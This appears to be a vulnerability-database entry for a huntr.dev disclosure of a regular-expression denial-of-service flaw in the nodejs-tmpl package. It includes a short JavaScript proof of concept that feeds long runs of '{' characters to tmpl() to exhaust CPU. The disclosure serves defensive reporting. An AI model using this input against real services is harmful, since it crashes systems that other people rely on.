Lucene search

K
huntrYetingliA07B547A-F457-41C9-9D89-EE48BEE8A4DF
HistorySep 04, 2021 - 4:23 p.m.

Inefficient Regular Expression Complexity in daaku/nodejs-tmpl

2021-09-0416:23:45
yetingli
www.huntr.dev
14

0.001 Low

EPSS

Percentile

45.7%

✍️ Description

It allows cause a denial of service when formatting crafted string.

🕵️‍♂️ Proof of Concept

// PoC.js
var tmpl = require("tmpl")
for(var i = 1; i <= 50000; i++) {
       var time = Date.now();
       var attack_str = ""+"{".repeat(i*10000)+"answer";
        tmpl(attack_str, { answer: 42 })
       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes.

0.001 Low

EPSS

Percentile

45.7%

Related for A07B547A-F457-41C9-9D89-EE48BEE8A4DF